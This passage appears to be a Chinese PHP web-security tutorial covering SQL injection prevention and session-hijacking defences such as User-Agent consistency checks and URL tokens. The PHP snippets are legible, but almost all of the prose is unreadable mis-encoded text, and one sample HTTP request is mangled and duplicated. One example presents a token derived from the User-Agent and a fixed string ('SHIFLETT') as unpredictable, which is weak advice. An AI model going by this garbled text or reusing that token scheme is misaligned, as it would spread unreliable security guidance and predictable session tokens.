$fp = fsockopen('abc.net', 80);
fputs($fp, "GET / HTTP/1.1");
fputs($fp, "Host: abc.net");
while (!feof($fp))
{
$http_response .= fgets($fp, 128);
}
fclose($fp);
echo nl2br(htmlentities($http_response, ENT_QUOTES, 'UTF-8'));
?> µ±È»£¬»¹Óкܶ෽·¨È¥´ïµ½ÉÏÃæµÄÄ¿µÄ£¬µ«ÆäÒªµãÊÇHTTPÊÇÒ»¸ö¹ãΪÈËÖªµÄ±ê×¼ÐÒ飬һ°ã¹¥»÷Õß¶¼»á¶ÔËü·Ç³£ÊìϤ£¬²¢ÇÒ¶Ô³£¼ûµÄ°²È«Â©¶´µÄ¹¥»÷·½·¨Ò²ºÜÊìϤ¡£
==SQL ×¢Èë
SQL ×¢ÈëÊÇPHPÓ¦ÓÃÖÐ×î³£¼ûµÄ©¶´Ö®Ò»¡£ÊÂʵÉÏÁîÈ˾ªÆæµÄÊÇ£¬¿ª·¢ÕßҪͬʱ·¸Á½¸ö´íÎó²Å»áÒý·¢Ò»¸öSQL×¢Èë©¶´£¬Ò»¸öÊÇûÓжÔÊäÈëµÄÊý¾Ý½øÐйýÂË£¨¹ýÂËÊäÈ룩£¬»¹ÓÐÒ»¸öÊÇûÓжԷ¢Ë͵½Êý¾Ý¿âµÄÊý¾Ý½øÐÐתÒ壨תÒåÊä³ö£©¡£ÕâÁ½¸öÖØÒªµÄ²½Öèȱһ²»¿É£¬ÐèҪͬʱ¼ÓÒÔÌØ±ð¹Ø×¢ÒÔ¼õÉÙ³ÌÐò´íÎó¡£
ËäÈ»Á½¸ö²½Öè¶¼²»ÄÜÊ¡ÂÔ£¬µ«Ö»ÒªÊµÏÖÆäÖеÄÒ»¸ö¾ÍÄÜÏû³ý´ó¶àÊýµÄSQL×¢Èë·çÏÕ¡£Èç¹ûÄãÖ»ÊǹýÂËÊäÈë¶øÃ»ÓÐתÒåÊä³ö£¬ÄãºÜ¿ÉÄÜ»áÓöµ½Êý¾Ý¿â´íÎ󣨺Ϸ¨µÄÊý¾ÝÒ²¿ÉÄÜÓ°ÏìSQL²éѯµÄÕýÈ·¸ñʽ£©£¬µ«ÕâÒ²²»¿É¿¿£¬ºÏ·¨µÄÊý¾Ý»¹¿ÉÄܸıäSQLÓï¾äµÄÐÐΪ¡£ÁíÒ»·½Ã棬Èç¹ûÄãתÒåÁËÊä³ö£¬¶øÃ»ÓйýÂËÊäÈ룬¾ÍÄܱ£Ö¤Êý¾Ý²»»áÓ°ÏìSQLÓï¾äµÄ¸ñʽ£¬Í¬Ê±Ò²·ÀÖ¹Á˶àÖÖ³£¼ûSQL×¢Èë¹¥»÷µÄ·½·¨¡£
¹ØÓÚSQL×¢È룬²»µÃ²»ËµµÄÊÇÏÖÔÚ´ó¶àÐéÄâÖ÷»ú¶¼»á°Ñmagic_quotes_gpcÑ¡Ïî´ò¿ª£¬ÔÚÕâÖÖÇé¿öÏÂËùÓеĿͻ§¶ËGETºÍPOSTµÄÊý¾Ý¶¼»á×Ô¶¯½øÐÐaddslashes´¦Àí£¬ËùÒÔ´Ëʱ¶Ô×Ö·û´®ÖµµÄSQL×¢ÈëÊDz»¿ÉÐе쬵«Òª·ÀÖ¹¶ÔÊý×ÖÖµµÄSQL×¢È룬ÈçÓÃintval()µÈº¯Êý½øÐд¦Àí¡£µ«Èç¹ûÄã±àдµÄÊÇͨÓÃÈí¼þ£¬ÔòÐèÒª¶ÁÈ¡·þÎñÆ÷µÄmagic_quotes_gpcºó½øÐÐÏàÓ¦´¦Àí¡£
==»á»°½Ù³Ö
×î³£¼ûµÄÕë¶Ô»á»°µÄ¹¥»÷ÊÖ¶ÎÊǻỰ½Ù³Ö¡£ËüÊÇËùÓй¥»÷Õß¿ÉÒÔÓÃÀ´·ÃÎÊÆäËüÈ˵ĻỰµÄÊֶεÄ×ܳơ£ËùÓÐÕâЩÊֶεĵÚÒ»²½¶¼ÊÇÈ¡µÃÒ»¸öºÏ·¨µÄ»á»°±êʶÀ´Î±×°³ÉºÏ·¨Óû§£¬Òò´Ë±£Ö¤»á»°±êʶ²»±»Ð¹Â¶·Ç³£ÖØÒª¡£Ç°Ã漸½ÚÖйØÓڻỰ±©Â¶ºÍ¹Ì¶¨µÄ֪ʶÄܰïÖúÄã±£Ö¤»á»°±êʶֻÓзþÎñÆ÷¼°ºÏ·¨Óû§²ÅÄÜÖªµÀ¡£
°Ñαװ¹ý³Ì±äµÃ¸ü¸´ÔӵĹؼüÊǼÓÇ¿ÑéÖ¤¡£»á»°±êʶÊÇÑéÖ¤µÄÊ×Òª·½·¨£¬Í¬Ê±Äã¿ÉÒÔÓÃÆäËüÊý¾ÝÀ´²¹³äËü¡£Äã¿ÉÒÔÓõÄËùÓÐÊý¾ÝÖ»ÊÇÔÚÿ¸öHTTPÇëÇóÖеÄÊý¾Ý£º
GET / HTTP/1.1
Host: abc.net
User-Agent: Firefox/1.0
Accept: text/html, image/png, image/jpeg, image/gif, * / HTTP/1.1
Host: abc.net
User-Agent: Firefox/1.0
Accept: text/html, image/png, image/jpeg, image/gif, * Ó¦¸ÃÒâʶµ½ÇëÇóµÄÒ»ÖÂÐÔ£¬²¢°Ñ²»Ò»ÖµÄÐÐΪÈÏΪÊÇ¿ÉÒÉÐÐΪ¡£ÀýÈ磬ËäÈ»User-Agent(·¢³ö±¾ÇëÇóµÄä¯ÀÀÆ÷ÀàÐÍ)Í·²¿ÊÇ¿ÉÑ¡µÄ£¬µ«ÊÇÖ»ÒªÊÇ·¢³ö¸ÃÍ·²¿µÄä¯ÀÀÆ÷ͨ³£¶¼²»»á±ä»¯ËüµÄÖµ¡£Èç¹ûÄãÒ»¸öÓµÓÐ1234µÄ»á»°±êʶµÄÓû§ÔڵǼºóÒ»Ö±ÓÃMozilla Firfoxä¯ÀÀÆ÷£¬Í»È»×ª»»³ÉÁËIE£¬Õâ¾Í±È½Ï¿ÉÒÉÁË¡£ÀýÈ磬´ËʱÄã¿ÉÒÔÓÃÒªÇóÊäÈëÃÜÂ뷽ʽÀ´¼õÇá·çÏÕ£¬Í¬Ê±ÔÚÎó±¨Ê±£¬ÕâÒ²¶ÔºÏ·¨Óû§²úÉúµÄ³å»÷Ò²±È½ÏС¡£Äã¿ÉÒÔÓÃÏÂÃæµÄ´úÂëÀ´¼ì²âUser-AgentµÄÒ»ÖÂÐÔ£º
<?php
session_start();
if (isset($_SESSION['HTTP_USER_AGENT']))
{
if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT']))
{
exit;
}
}
else
{
$_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);
}
?> ÔÚijЩ°æ±¾µÄIEä¯ÀÀÆ÷ÖУ¬Óû§Õý³£·ÃÎÊÒ»¸öÍøÒ³ºÍË¢ÐÂÒ»¸öÍøÒ³Ê±·¢³öµÄAcceptÍ·²¿ÐÅÏ¢²»Í¬£¬Òò´ËAcceptÍ·²¿²»ÄÜÓÃÀ´ÅжÏÒ»ÖÂÐÔ¡£ È·±£User-AgentÍ·²¿ÐÅÏ¢Ò»ÖµÄÈ·ÊÇÓÐЧµÄ£¬µ«Èç¹û»á»°±êʶͨ¹ýcookie´«µÝ£¬ÓеÀÀíÈÏΪ£¬Èç¹û¹¥»÷ÕßÄÜÈ¡µÃ»á»°±êʶ£¬ËûͬʱҲÄÜÈ¡µÃÆäËüHTTPÍ·²¿¡£ÓÉÓÚcookie±©Â¶Óëä¯ÀÀÆ÷©¶´»ò¿çÕ¾½Å±¾Â©¶´Ïà¹Ø£¬Êܺ¦ÕßÐèÒª·ÃÎʹ¥»÷ÕßµÄÍøÕ¾²¢±©Â¶ËùÓÐÍ·²¿ÐÅÏ¢¡£ËùÓй¥»÷ÕßÒª×öµÄÖ»ÊÇÖØ½¨Í·²¿ÒÔ·ÀÖ¹ÈκζÔÍ·²¿ÐÅÏ¢Ò»ÖÂÐԵļì²é¡£
±È½ÏºÃµÄ·½·¨ÊDzúÉúÔÚURLÖд«µÝÒ»¸ö±ê¼Ç£¬¿ÉÒÔÈÏΪÕâÊǵڶþÖÖÑéÖ¤µÄÐÎʽ¡£Ê¹ÓÃÕâ¸ö·½·¨ÐèÒª½øÐÐһЩ±à³Ì¹¤×÷£¬PHPÖÐûÓÐÏàÓ¦µÄ¹¦ÄÜ¡£ÀýÈ磬¼ÙÉè±ê¼Ç±£´æÔÚ$tokenÖУ¬ÄãÐèÒª°ÑËü°üº¬ÔÚËùÓÐÄãµÄÓ¦ÓõÄÄÚ²¿Á´½ÓÖУº
<?php
$url = array();
$html = array();
$url['token'] = rawurlencode($token);
$html['token'] = htmlentities($url['token'], ENT_QUOTES, 'UTF-8');
?> <a href="abc.php?token=<?php echo $html['token']; ?>">Click Here</a> ΪÁ˸ü·½±ãµØ¹ÜÀíÕâ¸ö´«µÝ¹ý³Ì£¬Äã¿ÉÄÜ»á°ÑÕû¸öÇëÇó´®·ÅÔÚÒ»¸ö±äÁ¿ÖС£Äã¿ÉÒÔ°ÑÕâ¸ö±äÁ¿¸½¼Óµ½ËùÓÐÁ´½ÓºóÃæ£¬ÕâÑù¼´±ãÄãÒ»¿ªÊ¼Ã»ÓÐʹÓøü¼ÇÉ£¬½ñºó»¹ÊÇ¿ÉÒԺܷ½±ãµØ¶ÔÄãµÄ´úÂë×÷³ö±ä»¯¡£ ¸Ã±ê¼ÇÐèÒª°üº¬²»¿ÉÔ¤²âµÄÄÚÈÝ£¬¼´±ãÊÇÔÚ¹¥»÷ÕßÖªµÀÁËÊܺ¦Õßä¯ÀÀÆ÷·¢³öµÄHTTPÍ·²¿µÄÈ«²¿ÐÅÏ¢Ò²²»ÐС£Ò»ÖÖ·½·¨ÊÇÉú³ÉÒ»¸öËæ»ú´®×÷Ϊ±ê¼Ç£º
<?php
$string = $_SERVER['HTTP_USER_AGENT'];
$string .= 'SHIFLETT';
$token = md5($string);
$_SESSION['token'] = $token;
?> µ±ÄãʹÓÃËæ»ú´®Ê±£¨ÈçSHIFLETT£©£¬¶ÔËü½øÐÐÔ¤²âÊDz»ÏÖʵµÄ¡£´Ëʱ£¬²¶»ñ±ê¼Ç½«±ÈÔ¤²â±ê¼Ç¸üΪ·½±ã£¬Í¨¹ýÔÚURLÖд«µÝ±ê¼ÇºÍÔÚcookieÖд«µÝ»á»°±êʶ£¬¹¥»÷ʱÐèҪͬʱץȡËüÃǶþÕß¡£ÕâÑù³ý·Ç¹¥»÷ÕßÄܹ»²ì¿´Êܺ¦Õß·¢ÍùÄãµÄÓ¦ÓÃËùÓеÄHTTPÇëÇóÔʼÐÅÏ¢²Å¿ÉÒÔ£¬ÒòΪÔÚÕâÖÖÇé¿öÏÂËùÓÐÄÚÈݶ¼±©Â¶ÁË¡£ÕâÖÖ¹¥»÷·½Ê½ÊµÏÖÆðÀ´·Ç³£À§ÄÑ£¨ËùÒԺܺ±¼û£©£¬Òª·ÀÖ¹ËüÐèҪʹÓÃSSL¡£
ÓÐר¼Ò¾¯¸æ²»ÒªÒÀÀµÓÚ¼ì²éUser-AgentµÄÒ»ÖÂÐÔ¡£ÕâÊÇÒòΪ·þÎñÆ÷Ⱥ¼¯ÖеÄHTTP´úÀí·þÎñÆ÷»á¶ÔUser-Agent½øÐб༣¬¶ø±¾Èº¼¯ÖеĶà¸ö´úÀí·þÎñÆ÷Ôڱ༸Ãֵʱ¿ÉÄܻ᲻һÖ¡£
Èç¹ûÄ㲻ϣÍûÒÀÀµÓÚ¼ì²éUser-AgentµÄÒ»ÖÂÐÔ¡£Äã¿ÉÒÔÉú³ÉÒ»¸öËæ»úµÄ±ê¼Ç£º
<?php
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
?> ÕâÒ»·½·¨µÄ°²È«ÐÔËäÈ»ÊÇÈõһЩ£¬µ«Ëü¸ü¿É¿¿¡£ÉÏÃæµÄÁ½¸ö·½·¨¶¼¶Ô·ÀÖ¹»á»°½Ù³ÖÌṩÁËÇ¿ÓÐÁ¦µÄÊֶΡ£ÄãÐèÒª×öµÄÊÇÔÚ°²È«ÐԺͿɿ¿ÐÔÖ®¼ä×÷³öƽºâ¡£
²Î¿¼£º
Chris Shiflett ¡¶PHP°²È«¡·
http://www.securityfocus.com/vulnerabilities
ÎÄ/amxku
amxku<2>msn.com
±¾ÎÄÖÐÏà¹ØÀý×ÓÀ´Ô´ÓÚÍøÂç
ÓÉÓÚ±¾È˵ÄˮƽÓÐÏÞ£¬Óв»Í×Ö®´¦»¹Íû¸«Õý¡£